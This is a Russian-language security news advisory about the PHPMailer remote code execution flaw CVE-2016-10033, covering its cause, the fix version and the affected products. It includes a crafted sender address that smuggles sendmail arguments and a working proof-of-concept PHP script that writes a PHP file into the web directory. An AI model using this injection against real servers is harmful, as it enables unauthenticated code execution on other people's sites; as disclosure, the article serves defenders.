23 апреля, 2024

Критическая уязвимость в PHPMailer, применяемом в WordPress, Drupal и Joomla

В PHPMailer, популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена критическая уязвимость (CVE-2016-10033), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.

Проблема аналогична недавно найденной уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие должной проверки параметра «Sender» (неверная интерпретация экранированных кавычек), позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под которыми запускается PHP-приложение.

В частности, попытка отправки сообщения на email «Attacker \» -Param2 -Param3″@test.com приведёт к выполнению утилиты sendmail со следующими аргументами:


   Arg no. 0 == [/usr/sbin/sendmail]
   Arg no. 1 == [-t]
   Arg no. 2 == [-i]
   Arg no. 3 == [-fAttacker\]
   Arg no. 4 == [-Param2]
   Arg no. 5 == [-Param3"@test.com]

Для записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать ‘«attacker\» -oQ/tmp/ -X/var/www/cache/phpcode.php some»@email.com‘, что демонстрирует следующий прототип эксплоита (опция «-X/var/www/cache/phpcode.php» приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):


   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer(); 

   $mail->SetFrom($email_from, 'Client Name');

   $address = "[email protected]";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18, все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian, RHEL/CentOS, Fedora, Ubuntu, SUSE, openSUSE. Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail (варианты утилиты /usr/sbin/sendmail от проектов Postfix и Exim не могут быть использованы для атаки, так как они игнорируют опцию «-X»).

Читать также:  Как из системы жертвы сделать точку опоры для захвата каждого компьютера в сети

Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla, 1CRM, SugarCRM, Yii и сотнях других проектов. Атака может быть проведена через различные формы отправки отзывов, регистрации, связи с администрацией и других операций, приводящих к отправке сообщений по электронной почте при помощи PHPMailer. Уязвимы или нет конкретные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений через PHPMailer и используются ли настройки PHPMailer по умолчанию.

Дополнение: Drupal опубликовал предупреждение о проявлении уязвимости в модулях PHPMailer и SMTP. Уязвимости присвоен наивысший (Highly Critical) уровень опасности. В WordPress проблеме подвержены только некоторые сторонние плагины.

Добавить комментарий